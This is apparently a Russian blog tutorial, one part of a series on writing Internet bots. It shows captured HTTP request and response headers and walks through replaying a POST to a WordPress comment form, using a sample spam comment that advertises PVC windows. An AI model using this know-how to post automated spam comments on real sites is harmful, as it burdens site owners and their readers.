Продолжение серии статей об Интернет-ботах.

Часть 1, Часть 2, Часть 3

Когда вы набираете в браузере адрес URI, он делает примерно то же самое, что мы делали в предыдущей статье с помощью Telnet-клиента. Но отправляет больше заголовков. Например, информацию о нем самом, о версии вашей ОС, передает cookies при их наличии. При переходе по ссылке отправляется адрес, откуда пользователь пришел на сайт. Различных заголовков очень много и описывать их все здесь не имеет смысла.

Для создания программы, эмулирующей браузер (Интернет-бот), необходим тщательный анализ цепочки HTTP запросов браузера и ответов на них.

Средства анализа

Существуют различные средства анализа трафика. Можно, например, установить специальный сетевой драйвер-фильтр. Однако значительно проще воспользоваться плагином к браузеру. Мне нравится вот этот (для Firefox): Live HTTP Headers.

Итак, нужен плагин. Этот или другой, главное, чтобы он сканировал заголовки как запросов, так и ответов.

Запускаем его и вводим в браузере «www.ya.ru». Я вижу вот что:

http://ya.ru/
 
GET / HTTP/1.1
Host: ya.ru
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
 
HTTP/1.x 200 OK
Server: nginx
Date: Mon, 25 Jan 2010 22:21:14 GMT
Content-Type: text/html; charset=utf-8
Last-Modified: Tue, 12 Jan 2010 15:29:03 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip

Это стартовые строки и заголовки реального браузерного запроса и ответа ему. Здесь видно, что Firefox умеет принимать сжатый ответ, о чем сообщил серверу Яндекса. Тот это понял и прислал сообщение, упакованное методом gzip.

Отправка формы

Для примера, оставим комментарий на Свиттере.

К сожалению, большинство комментариев, посупающих на модерацию, именно такие :) Итак, подготавливаем форму, как на картинке, запускаем плагин мониторинга HTTP, нажимаем «Отправить».

Запрос:

POST /wp-comments-post.php HTTP/1.1
Host: svitter.ru
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://svitter.ru/?p=378
Content-Type: application/x-www-form-urlencoded
Content-Length: 350
 
author=%D0%9E%D0%BA%D0%BD%D0%B0+%D0%9F%D0%92%D0%A5&email=x%40x.com&url=x.com&comment=%D0%9A%D1%83%D0%BF%D0%B8%D1%82%D1%8C+%D0%BE%D0%BA%D0%BD%D0%B0+%D0%9F%D0%92%D0%A5%2C+%D0%B4%D0%BE%D1%81%D1%82%D0%B0%D0%B2%D0%BA%D0%B0+%D0%BF%D0%BE+%D0%9C%D0%BE%D1%81%D0%BA%D0%B2%D0%B5&submit.x=54&submit.y=12&submit=Submit+Comment&comment_post_ID=378&comment_parent=0

Браузер отправляет запрос методом POST, передвая введенную нами информацию в теле сообщения. Оно имеет такой вид:

param1=value1&param2=value2&param3=value3

Где param1, param2, param3 – имена параметров, а value1, value2, value3 – их значения. Таких пар имя-значение может быть сколь угодно много. Пробелы браузер заменил на «+», кирилицу и прочие специальные символы на их коды вида %XX или %XX%YY (если символ кодируется двумя байтами).

author=%D0%9E%D0%BA%D0%BD%D0%B0+%D0%9F%D0%92%D0%A5&email=x%40x.com&url=x.com&comment=%D0%9A%D1%83%D0%BF%D0%B8%D1%82%D1%8C+%D0%BE%D0%BA%D0%BD%D0%B0+%D0%9F%D0%92%D0%A5%2C+%D0%B4%D0%BE%D1%81%D1%82%D0%B0%D0%B2%D0%BA%D0%B0+%D0%BF%D0%BE+%D0%9C%D0%BE%D1%81%D0%BA%D0%B2%D0%B5&submit.x=54&submit.y=12&submit=Submit+Comment&comment_post_ID=378&comment_parent=0

Следует читать как:

author=Окна ПВХ&
email=x@x.com&
url=x.com&
comment=Купить окна ПВХ, доставка по Москве&
submit.x=54&
submit.y=12&
submit=Submit+Comment&
comment_post_ID=378&
comment_parent=0

Вот так можно оставлять комментарии на Свиттере Telnet-клиентом. Просто добавьте воды введите нужные заголовки и тело запроса.

Ответ:

HTTP/1.x 302 Moved Temporarily
Via: 1.1 RGW
Connection: Keep-Alive
Proxy-Connection: Keep-Alive
Transfer-Encoding: chunked
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Date: Tue, 26 Jan 2010 16:05:10 GMT
Location: http://svitter.ru/?p=378&cpage=1#comment-349
Content-Type: text/html
Server: nginx/0.7.62
Keep-Alive: timeout=20
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Powered-By: PHP/5.3.1
Set-Cookie: comment_author=%D0%9E%D0%BA%D0%BD%D0%B0+%D0%9F%D0%92%D0%A5; expires=Sat, 08-Jan-2011 21:25:10 GMT; path=/
Set-Cookie: comment_author_email=x%40x.com; expires=Sat, 08-Jan-2011 21:25:10 GMT; path=/
Set-Cookie: comment_author_url=http%3A%2F%2Fx.com; expires=Sat, 08-Jan-2011 21:25:10 GMT; path=/
Last-Modified: Tue, 26 Jan 2010 16:05:10 GMT

Стартовая строка ответа говорит о том, что надо сделать редирект, а заголовок Location поясняет, куда именно. Как правило, скрипт обработки запроса POST делает перенаправление. Во-первых, это легче запрограммировать, а, во-вторых, пользователь сможет безболезненно обновлять страницу (без предупреждений о том, что данные формы будут снова отправлены).

Обратите внимание на заголовки Set-Cookie. Таким образом сервер сообщает браузеру, что введенные автором коментария данные (имя, email и url) нужно сохранить в cookies. Благодаря этому, при отправке следующего комментария останется ввести лишь текст сообщения.

А что же делать, если для доступа к сайту необходима авторизация? Об этом я расскажу в следующей статье. (скоро)